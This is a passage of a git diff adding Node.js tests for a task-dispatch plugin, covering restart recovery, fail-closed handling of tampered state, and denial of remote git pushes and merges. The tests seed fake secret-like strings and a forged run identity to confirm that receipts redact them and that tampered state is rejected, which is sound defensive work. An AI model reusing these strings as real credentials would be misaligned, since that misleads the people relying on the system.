assert.notEqual(lane.cancel_confirmed, true); + assert.equal(lane.unresolved == null, false); + assert.equal(typeof lane.unresolved.code, 'string'); + assert.equal(inspectCalls.includes(lane.assignment_id), false); + assert.equal(cancelCalls.includes(lane.assignment_id), false); +} + +test('two-lane partial dispatch restart never inspects or terminalizes the never-dispatched lane', async () => { + const laneA = makeAssignment({ assignmentId: 'lane-a', taskId: 'task-a', writeScope: ['a/**'] }); + const laneB = makeAssignment({ assignmentId: 'lane-b', taskId: 'task-b', writeScope: ['b/**'] }); + const runArgs = makeRunArgs({ assignments: [laneA, laneB] }); + const mixedDispatch = []; + const mixedInspect = []; + const mixedCancel = []; + const mixedHooks = { + delegateTask: async (plan) => { + mixedDispatch.push(plan.assignment_id); + if (plan.assignment_id === laneB.assignment_id) throw new Error(HOSTILE_SECRET); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + mixedInspect.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'completed', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + mixedCancel.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + }; + const mixed = await createDurableAdapter(mixedHooks); + try { + const submitted = await mixed.adapter.dispatch('delegate', runArgs); + assert.equal(submitted.operation, 'submit'); + assert.equal(submitted.lanes.length, 2); + assert.equal(laneByAssignment(submitted, laneA.assignment_id).status, 'dispatched'); + assert.equal(laneByAssignment(submitted, laneB.assignment_id).status, 'unresolved'); + assert.equal(submitted.complete_candidate_blocked, true); + assertZeroReplay(submitted); + assert.equal(mixedDispatch.includes(laneA.assignment_id), true); + assert.equal(mixedDispatch.includes(laneB.assignment_id), true); + assert.equal(mixedInspect.length, 0); + const persisted = await readDurablePlan(mixed.root); + assert.equal(persisted.dispatched, false); + assert.equal(persisted.assignment_dispatch.length, 2); + assert.equal(persisted.assignment_dispatch[0].assignment_id, laneA.assignment_id); + assert.equal(persisted.assignment_dispatch[0].dispatched, true); + assert.equal(persisted.assignment_dispatch[1].assignment_id, laneB.assignment_id); + assert.equal(persisted.assignment_dispatch[1].dispatched, false); + assert.equal(inspect(submitted).includes(HOSTILE_SECRET), false); + + const reopen = () => createDurableAdapter({ root: mixed.root, ...mixedHooks }); + const dispatchCount = mixedDispatch.length; + + const statusAdapter = await reopen(); + const reconstructed = await statusAdapter.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + const reconstructedA = laneByAssignment(reconstructed, laneA.assignment_id); + const reconstructedB = laneByAssignment(reconstructed, laneB.assignment_id); + assert.equal(reconstructedA.dispatched, true); + assert.equal(reconstructedA.status, 'completed'); + assertNeverDispatchedLane(reconstructedB, mixedInspect, mixedCancel); + assert.equal(reconstructedB.unresolved.code, 'dispatch_failed'); + assert.equal(reconstructed.complete_candidate_blocked, true); + const inspected = await statusAdapter.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.operation, 'status'); + assert.equal(inspected.tool, 'status'); + assert.equal(laneByAssignment(inspected, laneA.assignment_id).status, 'completed'); + assert.equal(laneByAssignment(inspected, laneB.assignment_id).status, 'unresolved'); + assert.equal(laneByAssignment(inspected, laneB.assignment_id).unresolved.code, 'dispatch_failed'); + assert.equal(inspected.complete_candidate_blocked, true); + assert.equal(inspected.decision_or_attention.unresolved_required_blocks, true); + assertZeroReplay(inspected); + assert.equal(mixedInspect.includes(laneA.assignment_id), true); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + assert.equal(mixedDispatch.length, dispatchCount); + assert.equal(mixedCancel.length, 0); + assert.equal(inspect(inspected).includes(HOSTILE_SECRET), false); + + const resumeAdapter = await reopen(); + const resumed = await resumeAdapter.adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 0, + }); + assert.equal(resumed.operation, 'wait'); + assert.equal(resumed.tool, 'task'); + assert.equal(laneByAssignment(resumed, laneA.assignment_id).status, 'completed'); + assert.equal(laneByAssignment(resumed, laneB.assignment_id).status, 'unresolved'); + assert.equal(resumed.complete_candidate_blocked, true); + assertZeroReplay(resumed); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + assert.equal(mixedDispatch.length, dispatchCount); + assert.equal(mixedCancel.length, 0); + + const resubmitAdapter = await reopen(); + const resubmit = await resubmitAdapter.adapter.dispatch('delegate', runArgs); + assert.equal(resubmit.operation, 'submit'); + assert.equal(resubmit.tool, 'delegate'); + assert.equal(laneByAssignment(resubmit, laneA.assignment_id).status, 'completed'); + assert.equal(laneByAssignment(resubmit, laneB.assignment_id).status, 'unresolved'); + assert.equal(resubmit.complete_candidate_blocked, true); + assertZeroReplay(resubmit); + assert.equal(mixedDispatch.length, dispatchCount); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + + const cancelAdapter = await reopen(); + const cancelled = await cancelAdapter.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [laneA.assignment_id, laneB.assignment_id], + }); + assert.equal(cancelled.operation, 'cancel'); + assert.equal(cancelled.tool, 'cancel'); + assert.equal(cancelled.complete_candidate_blocked, true); + assertZeroReplay(cancelled); + assert.equal(laneByAssignment(cancelled, laneA.assignment_id).status, 'cancelled'); + const cancelledB = laneByAssignment(cancelled, laneB.assignment_id); + assert.equal(cancelledB.status, 'unresolved'); + assert.equal(cancelledB.unresolved.code, 'safe_cancel_unconfirmed'); + assert.notEqual(cancelledB.cancel_confirmed, true); + assert.equal(mixedCancel.includes(laneA.assignment_id), true); + assert.equal(mixedCancel.includes(laneB.assignment_id), false); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + assert.equal(mixedDispatch.length, dispatchCount); + const afterCancel = await readDurablePlan(mixed.root); + assert.equal(afterCancel.assignment_dispatch[0].dispatched, true); + assert.equal(afterCancel.assignment_dispatch[1].dispatched, false); + assert.equal(inspect(cancelled).includes(HOSTILE_SECRET), false); + } finally { + await rm(mixed.root, { recursive: true, force: true }); + } + + const zeroDispatch = []; + const zeroInspect = []; + const zeroCancel = []; + const zeroHooks = { + delegateTask: async (plan) => { + zeroDispatch.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + zeroInspect.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'completed', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + zeroCancel.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + beforeProviderDispatch: async () => { + throw new RunContractV1Error( + 'durable_state_mismatch', + 'plan', + 'Durable run state is stale, partial, or mismatched.', + ); + }, + }; + const zero = await createDurableAdapter(zeroHooks); + try { + const crashed = await errorOf(() => zero.adapter.dispatch('delegate', runArgs)); + assert.equal(crashed.code, 'durable_state_mismatch'); + assertContentFree(crashed); + assert.equal(zeroDispatch.length, 0); + const zeroPlan = await readDurablePlan(zero.root); + assert.equal(zeroPlan.dispatched, false); + assert.equal(zeroPlan.assignment_dispatch.every((fact) => fact.dispatched === false), true); + const zeroRestart = await createDurableAdapter({ root: zero.root, ...zeroHooks }); + const zeroStatus = await zeroRestart.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(zeroStatus.lanes.length, 2); + assert.equal(zeroStatus.complete_candidate_blocked, true); + assertZeroReplay(zeroStatus); + for (const lane of zeroStatus.lanes) { + assert.equal(lane.status, 'unresolved'); + assert.equal(lane.unresolved.code, 'dispatch_failed'); + } + assert.equal(zeroInspect.length, 0); + assert.equal(zeroCancel.length, 0); + assert.equal(zeroDispatch.length, 0); + } finally { + await rm(zero.root, { recursive: true, force: true }); + } + + const allDispatch = []; + const allInspect = []; + const allCancel = []; + const allHooks = { + delegateTask: async (plan) => { + allDispatch.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + allInspect.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'completed', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + allCancel.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + }; + const all = await createDurableAdapter(allHooks); + try { + const submitted = await all.adapter.dispatch('delegate', runArgs); + assert.equal(submitted.lanes.every((lane) => lane.status === 'dispatched'), true); + assert.equal(submitted.complete_candidate_blocked, false); + const allPlan = await readDurablePlan(all.root); + assert.equal(allPlan.dispatched, true); + assert.equal(allPlan.assignment_dispatch.every((fact) => fact.dispatched === true), true); + const allRestart = await createDurableAdapter({ root: all.root, ...allHooks }); + const reconstructed = await allRestart.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + assert.equal(reconstructed.lanes.every((lane) => lane.dispatched === true), true); + assert.equal(reconstructed.lanes.every((lane) => lane.status === 'completed'), true); + assert.equal(reconstructed.complete_candidate_blocked, false); + const inspected = await allRestart.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.lanes.every((lane) => lane.status === 'completed'), true); + assert.equal(inspected.complete_candidate_blocked, false); + assertZeroReplay(inspected); + assert.equal(allInspect.includes(laneA.assignment_id), true); + assert.equal(allInspect.includes(laneB.assignment_id), true); + assert.equal(allDispatch.length, 2); + assert.equal(allCancel.length, 0); + } finally { + await rm(all.root, { recursive: true, force: true }); + } +}); + +test('stale partial and mismatched scheduler plans fail closed', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const planPath = path.join(first.root, 'runs', 'scheduler', `${RUN_ID}.json`); + await writeFile(planPath, '{"run_id":'); + const truncated = await createDurableAdapter({ root: first.root }); + const truncatedError = await errorOf(() => truncated.adapter.dispatch('status', { run_id: RUN_ID })); + assert.equal(truncatedError.code, 'durable_state_mismatch'); + assertContentFree(truncatedError); + + const mismatched = await createDurableAdapter(); + try { + await mismatched.adapter.dispatch('delegate', makeRunArgs()); + const otherPlan = path.join(mismatched.root, 'runs', 'scheduler', `${RUN_ID}.json`); + const parsed = JSON.parse(await readFile(otherPlan, 'utf8')); + parsed.base_sha = 'b'.repeat(40); + await writeFile(otherPlan, `${JSON.stringify(parsed)}\n`); + const reopened = await createDurableAdapter({ root: mismatched.root }); + const mismatchError = await errorOf(() => reopened.adapter.dispatch('status', { run_id: RUN_ID })); + assert.equal(mismatchError.code, 'durable_state_mismatch'); + assertContentFree(mismatchError); + } finally { + await rm(mismatched.root, { recursive: true, force: true }); + } + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('durable artifacts persist before restart and reject mismatched identity', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const relativePath = `runs/${RUN_ID}/${ASSIGNMENT_ID}/provider-report.txt`; + await first.seams.artifactBridge.captureAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + artifact_kind: 'provider_report', + media_type: 'text/plain', + relative_path: relativePath, + source: 'owner-only report', + }); + const restarted = await createDurableAdapter({ root: first.root }); + const projected = await restarted.seams.artifactBridge.projectAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + }); + assert.equal(projected.artifacts.length, 1); + assert.equal(projected.artifacts[0].relative_path, relativePath); + const artifactFile = path.join( + first.root, + 'runs', + 'artifacts', + RUN_ID, + ASSIGNMENT_ID, + `${Buffer.from(relativePath).toString('base64url')}.json`, + ); + const stored = JSON.parse(await readFile(artifactFile, 'utf8')); + stored.artifact_ref.run_id = 'run-forged-identity-00000000000000000000000000000000'; + await writeFile(artifactFile, `${JSON.stringify(stored)}\n`); + const hostile = await createDurableAdapter({ root: first.root }); + const mismatch = await errorOf(() => hostile.seams.artifactBridge.projectAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + })); + assert.ok([ + 'durable_state_mismatch', + 'invalid_type', + 'artifact_bridge_restart_conflict', + 'artifact_bridge_identity_mismatch', + ].includes(mismatch.code), mismatch.code); + assertContentFree(mismatch); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('catalog mutation after submit cannot change bound assignment resolution', async () => { + const workspace = await makePrivateRoot('r1-rcutover-catalog-mut-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const catalogPath = path.join(catalogDir, 'co-engineer-profiles.json'); + const name = 'writer-profile'; + await writeFile(catalogPath, JSON.stringify({ + [name]: { schema: PROFILE_SCHEMA, provider: 'grok', model: 'grok-4' }, + })); + const first = makeAssignment({ assignmentId: 'lane-a', taskId: 'task-a', writeScope: ['a/**'] }); + const second = makeAssignment({ assignmentId: 'lane-b', taskId: 'task-b', writeScope: ['b/**'] }); + delete first.provider; + delete first.model; + delete second.provider; + delete second.model; + first.profile = name; + second.profile = name; + const args = makeRunArgs({ assignments: [first, second] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + const { adapter, calls } = createAdapter(); + const submitted = await adapter.dispatch('delegate', args); + assert.equal(submitted.lanes[0].provider, 'grok'); + assert.equal(submitted.lanes[1].model, 'grok-4'); + await writeFile(catalogPath, JSON.stringify({ + [name]: { + schema: PROFILE_SCHEMA, + provider: 'cursor-local', + model: 'composer-1', + }, + })); + const inspected = await adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.lanes[0].provider, 'grok'); + assert.equal(inspected.lanes[0].model, 'grok-4'); + assert.equal(inspected.lanes[1].provider, 'grok'); + assert.equal(calls.submit.length, 1); + assert.equal(calls.submit[0].assignments[0].provider, 'grok'); + assert.equal(calls.submit[0].assignments[1].model, 'grok-4'); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs new file mode 100644 index 0000000..97b7fdf --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs @@ -0,0 +1,628 @@ +// R-CUTOVER run-tool-adapter focused coverage: five-tool catalog, omitted +// 3.2.1 compatibility, 1-8 lane aggregation, attention/reply, provider +// isolation, unresolved blocking, evidence redaction, lifecycle/cleanup, +// P35 ref authority, and denied remote mutation. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CANDIDATE_REF_NAMESPACE, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, +} from '../mcp/v3/git-authority.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + describeProviderRegistryV1, +} from '../mcp/v3/provider-registry.mjs'; +import { mkdir, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; + +import { + PUBLIC_MCP_CATALOG, + RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_TOOL_ADAPTER_SCHEMA_ID, + RUN_TOOL_OPERATIONS, + classifyDeniedGitOperationV1, + classifyRunToolCall, + createDurableRunSeams, + createRunToolAdapter, + denyRunToolRemoteMutationV1, + describeRunToolAdapterV1, +} from '../mcp/v3/run-tool-adapter.mjs'; +import { + ASSIGNMENT_ID, + RUN_ID, + TASK_ID, + createAdapter, + createDurableAdapter, + createSeamAdapter, + makeAssignment, + makeAttentionItem, + makeRunArgs, + makeRunReply, + makeVerifier, + trackingSameSessionDeliver, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-run-tool-adapter-fixtures.mjs'; +import { PROFILE_SCHEMA } from '../mcp/v3/profile.mjs'; +import { createClock, createLifecycleFns, makePrivateRoot } from './fixtures/r1-run-runtime-fixtures.mjs'; + +const MODULE_SOURCE = await readFile( + fileURLToPath(new URL('../mcp/v3/run-tool-adapter.mjs', import.meta.url)), + 'utf8', +); +const SERVER_SOURCE = await readFile( + fileURLToPath(new URL('../mcp/v3/server.mjs', import.meta.url)), + 'utf8', +); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertDeniedSideEffects(receipt) { + for (const claim of RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS) { + assert.equal(receipt.side_effects[claim], false, claim); + } + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.wake, false); + assert.equal(receipt.candidate.composed, false); + assert.equal(receipt.candidate.ready_for_codex_review, false); +} + +test('describeRunToolAdapterV1 keeps the five-tool catalog and four-slot registry', () => { + const first = describeRunToolAdapterV1(); + const second = describeRunToolAdapterV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_TOOL_ADAPTER_SCHEMA_ID); + assert.deepEqual(first.catalog, ['status', 'delegate', 'task', 'tasks', 'cancel']); + assert.equal(first.sixth_tool, false); + assert.deepEqual(first.operations, RUN_TOOL_OPERATIONS); + assert.deepEqual(first.registry_slots, [...PROVIDER_REGISTRY_SLOTS]); + assert.equal(first.p22.composable, false); + assert.equal(first.p22.provider_slot, null); + assert.equal(first.candidate_ref_authority, 'p35'); + assert.equal(first.lifecycle_authority, 'p33'); + assert.equal(first.attention_authority, 'p34'); + assert.equal(first.truth_projection, 'r-truth'); + const registry = describeProviderRegistryV1(); + assert.equal(registry.slots.length, 4); + assert.equal(registry.future_harness.provider_slot, null); +}); + +test('omitted additive fields classify as legacy 3.2.1 on every public tool', () => { + assert.equal(classifyRunToolCall('status', {}).mode, 'legacy'); + assert.equal(classifyRunToolCall('status', { detail: 'compact', include_tasks: false }).mode, 'legacy'); + assert.equal(classifyRunToolCall('delegate', { + task_id: 't1', provider: 'grok', repo: '/repo', prompt: 'go', expected_duration_ms: 1000, + }).mode, 'legacy'); + assert.equal(classifyRunToolCall('task', { task_id: 't1', wait_until: 'terminal', reply: { + session_id: 's', question_id: 'q', response: 'ok', + } }).mode, 'legacy'); + assert.equal(classifyRunToolCall('tasks', { task_ids: ['a'], wait_until: 'progress' }).mode, 'legacy'); + assert.equal(classifyRunToolCall('cancel', { task_id: 't1' }).mode, 'legacy'); + assert.equal(classifyRunToolCall('task', { task_id: 't1', wait_until: 'decision_or_attention' }).mode, 'run'); + assert.equal(classifyRunToolCall('status', { run_id: RUN_ID }).mode, 'run'); +}); + +test('submit maps delegate.run onto one 1-8 lane runtime submission', async () => { + const { adapter, calls } = createAdapter(); + const receipt = await adapter.dispatch('delegate', makeRunArgs()); + assert.equal(receipt.mode, 'run'); + assert.equal(receipt.operation, 'submit'); + assert.equal(receipt.tool, 'delegate'); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_count, 1); + assert.equal(receipt.lanes.length, 1); + assert.equal(receipt.lanes[0].assignment_id, ASSIGNMENT_ID); + assert.equal(calls.submit.length, 1); + assert.equal(Object.hasOwn(calls.submit[0].assignments[0], 'prompt'), false); + assertDeniedSideEffects(receipt); + assert.equal(isRunOwnedCandidateRefV1(receipt.candidate.ref, RUN_ID), true); + assert.equal(receipt.candidate.ref, expectedCandidateRefV1({ run_id: RUN_ID })); + assert.match(receipt.candidate.ref, new RegExp(`^${CANDIDATE_REF_NAMESPACE}`)); +}); + +test('eight-lane submit aggregates and a required unresolved lane blocks the candidate', async () => { + const assignments = [ + makeAssignment({ assignmentId: 'w1', taskId: 'task-w1', writeScope: ['a/**'] }), + makeAssignment({ assignmentId: 'w2', taskId: 'task-w2', writeScope: ['b/**'] }), + makeAssignment({ assignmentId: 'w3', taskId: 'task-w3', writeScope: ['c/**'] }), + makeAssignment({ assignmentId: 'w4', taskId: 'task-w4', writeScope: ['d/**'] }), + makeVerifier('r1'), + makeVerifier('r2'), + makeVerifier('r3'), + makeAssignment({ + assignmentId: 'w-fail', + taskId: 'task-w-fail', + writeScope: ['z/**'], + }), + ]; + const { adapter, scheduler } = createAdapter({ + schedulerOptions: { delegateErrorFor: new Set(['w-fail']) }, + }); + const receipt = await adapter.dispatch('delegate', makeRunArgs({ assignments })); + assert.equal(receipt.assignment_count, 8); + assert.equal(receipt.lanes.length, 8); + assert.equal(scheduler.calls.submit, 1); + const failed = receipt.lanes.find((lane) => lane.assignment_id === 'w-fail'); + assert.equal(failed.status, 'unresolved'); + assert.equal(failed.required, true); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(receipt.decision_or_attention.unresolved_required_blocks, true); + const continued = receipt.lanes.filter((lane) => lane.assignment_id !== 'w-fail'); + assert.equal(continued.every((lane) => lane.status !== 'unresolved' || lane.required === false), true); +}); + +test('validation failure produces zero provider dispatch, ref creation, or cleanup', async () => { + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('delegate', { + run: { + ...makeRunArgs().run, + assignments: [makeAssignment({ provider: 'p22', model: 'harness' })], + }, + })); + assert.equal(error.code, 'p22_not_a_provider'); + assert.equal(calls.submit.length, 0); + assert.equal(calls.cancel.length, 0); + const mix = await errorOf(() => adapter.dispatch('delegate', { + task_id: 'legacy', + provider: 'grok', + repo: '/repo', + prompt: 'nope', + expected_duration_ms: 1000, + ...makeRunArgs(), + })); + assert.equal(mix.code, 'mixed_tool_mode'); + assert.equal(calls.submit.length, 0); + const direct = await errorOf(() => adapter.dispatch('delegate', { + run: { ...makeRunArgs().run, workspace_mode: 'direct' }, + })); + assert.equal(direct.code, 'direct_mode_rejected'); + assert.equal(calls.submit.length, 0); + const nine = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: Array.from({ length: 9 }, (_, index) => makeAssignment({ + assignmentId: `lane-${index}`, + taskId: `task-${index}`, + writeScope: [`s${index}/**`], + })), + }))); + assert.equal(nine.code, 'out_of_range'); + assert.equal(calls.submit.length, 0); +}); + +test('status/wait/attention/reply/cancel/cleanup map through frozen additive parameters', async () => { + const { adapter, calls, attentionBatch } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const status = await adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(status.operation, 'status'); + assert.equal(status.audience, 'model'); + const wait = await adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 0, + }); + assert.equal(wait.operation, 'wait'); + assert.equal(wait.decision_or_attention.wake, false); + const aggregate = await adapter.dispatch('tasks', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 0, + }); + assert.equal(aggregate.operation, 'wait'); + assert.equal(aggregate.assignment_count, 1); + const attention = await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { + items: [makeAttentionItem()], + }, + }); + assert.equal(attention.operation, 'attention'); + assert.equal(calls.resume.length, 1); + const reply = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 1, + reply: { round: 1, batch_id: `att-${RUN_ID}`, answers: [{ + assignment_id: ASSIGNMENT_ID, question_id: 'q-1', session_id: 'sess-1', + task_id: TASK_ID, response: 'ship-it', + }] }, + }, + }); + assert.equal(reply.operation, 'reply'); + assert.equal(attentionBatch.calls.reply, 1); + const cancel = await adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancel.operation, 'cancel'); + const cleanup = await adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + cleanup: true, + }); + assert.equal(cleanup.operation, 'cleanup'); + assert.equal(cleanup.cleanup.proof_bound, true); +}); + +test('model-facing receipts redact nested raw artifacts and R-TRUTH-correct false success', async () => { + const { adapter } = createAdapter({ + decorateInspect: (receipt) => ({ + ...receipt, + lanes: receipt.lanes.map((lane) => ({ + ...lane, + artifacts: { + raw: 'sk-live-ATTACKER-SECRET', + bytes: [1, 2, 3], + projection: 'ok', + nested: { + owner: { raw: 'sk-live-NESTED-SECRET', secret: 'github_pat_hostile' }, + bytes: Buffer.from('hidden'), + }, + }, + task: zeroWorkPingTimeoutReceipt({ id: lane.task_id ?? TASK_ID }), + })), + }), + }); + await adapter.dispatch('delegate', makeRunArgs()); + const inspected = await adapter.dispatch('status', { run_id: RUN_ID }); + const lane = inspected.lanes[0]; + assert.equal(Object.hasOwn(lane.artifacts, 'raw'), false); + assert.equal(Object.hasOwn(lane.artifacts, 'bytes'), false); + assert.equal(Object.hasOwn(lane.artifacts.nested, 'bytes'), false); + assert.equal(Object.hasOwn(lane.artifacts.nested.owner, 'raw'), false); + assert.equal(Object.hasOwn(lane.artifacts.nested.owner, 'secret'), false); + assert.equal(lane.task.status, 'failed'); + assert.equal(lane.truth.corrected, true); + const serialized = JSON.stringify(inspected); + assert.doesNotMatch(serialized, /sk-live/u); + assert.doesNotMatch(serialized, /ATTACKER-SECRET/u); + assert.doesNotMatch(serialized, /NESTED-SECRET/u); + assert.doesNotMatch(serialized, /github_pat/u); +}); + +test('unsupported same-session providers cancel only the affected lane', async () => { + const dsh = makeAssignment({ + assignmentId: 'dsh-lane', + taskId: 'task-dsh', + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + writeScope: ['docs/**'], + }); + const writer = makeAssignment(); + const { adapter } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs({ assignments: [writer, dsh] })); + const receipt = await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { + items: [ + makeAttentionItem({ + assignmentId: 'dsh-lane', + taskId: 'task-dsh', + provider: 'dsh', + sessionId: 'sess-dsh', + questionId: 'q-dsh', + prompt: 'DSH cannot host a same-session reply', + }), + ], + }, + }); + assert.equal(receipt.complete_candidate_blocked, true); + const dshLane = receipt.lanes.find((lane) => lane.assignment_id === 'dsh-lane'); + const other = receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID); + assert.ok(other); + assert.ok(dshLane); +}); + +test('P35 candidate namespace is preserved and remote mutation stays denied', () => { + const receipt = classifyDeniedGitOperationV1(RUN_ID, 'push'); + assert.equal(receipt.verdict, 'denied'); + assert.throws(() => denyRunToolRemoteMutationV1('push'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyRunToolRemoteMutationV1('create_pr'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyRunToolRemoteMutationV1('merge'), (error) => error.code === 'remote_mutation_denied'); + const ref = expectedCandidateRefV1({ run_id: RUN_ID }); + assert.equal(isRunOwnedCandidateRefV1(ref, RUN_ID), true); +}); + +test('server source still advertises exactly five public tools', () => { + const names = [...SERVER_SOURCE.matchAll(/name: '([^']+)'/gu)].map((match) => match[1]).slice(0, 5); + assert.deepEqual(names, [...PUBLIC_MCP_CATALOG]); + assert.match(SERVER_SOURCE, /decision_or_attention/u); + assert.match(MODULE_SOURCE, /Sol-frozen additive/u); + assert.doesNotMatch(MODULE_SOURCE, /sixth tool/iu); +}); + +test('createRunToolAdapter rejects extra injected seams before dispatch', async () => { + const { runtime, attentionBatch } = createAdapter(); + assert.throws( + () => createRunToolAdapter({ runtime, attention: attentionBatch, scheduler: {} }), + (error) => error.code === 'unknown_key', + ); +}); + +test('decision_or_attention wait polls until an actionable attention decision', async () => { + let inspections = 0; + const { adapter } = createAdapter({ + decorateInspect: (receipt) => { + inspections += 1; + if (inspections < 3) return receipt; + return { + ...receipt, + lanes: receipt.lanes.map((lane) => ({ ...lane, status: 'needs_attention' })), + }; + }, + }); + await adapter.dispatch('delegate', makeRunArgs()); + const wait = await adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 400, + }); + assert.equal(wait.operation, 'wait'); + assert.equal(wait.wake, true); + assert.equal(wait.decision_or_attention.wake, true); + assert.ok(inspections >= 3); +}); + +test('explicit provider/model plus a conflicting named profile fails closed', async () => { + const workspace = await makePrivateRoot('r1-rcutover-profile-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const definition = { + schema: PROFILE_SCHEMA, + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + }; + const name = 'writer-profile'; + const catalog = { + [name]: definition, + }; + await writeFile(path.join(catalogDir, 'co-engineer-profiles.json'), JSON.stringify(catalog)); + const assignment = makeAssignment(); + assignment.profile = name; + const args = makeRunArgs({ assignments: [assignment] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + args.run.profile = name; + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('delegate', args)); + assert.equal(error.code, 'selection_unresolved'); + assert.equal(calls.submit.length, 0); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); + +test('named profile fills omitted provider/model from the catalog', async () => { + const workspace = await makePrivateRoot('r1-rcutover-profile-fill-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const name = 'writer-profile'; + const definition = { + schema: PROFILE_SCHEMA, + provider: 'grok', + model: 'grok-4', + }; + await writeFile(path.join(catalogDir, 'co-engineer-profiles.json'), JSON.stringify({ + [name]: definition, + })); + const assignment = makeAssignment(); + delete assignment.provider; + delete assignment.model; + assignment.profile = name; + const args = makeRunArgs({ assignments: [assignment] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + const { adapter, calls } = createAdapter(); + const receipt = await adapter.dispatch('delegate', args); + assert.equal(receipt.operation, 'submit'); + assert.equal(calls.submit.length, 1); + assert.equal(calls.submit[0].assignments[0].provider, 'grok'); + assert.equal(calls.submit[0].assignments[0].model, 'grok-4'); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); + +test('default in-process attention reply rejects a conflicting second round', async () => { + const { adapter, seams } = createSeamAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const replyBody = { + round: 1, + batch_id: 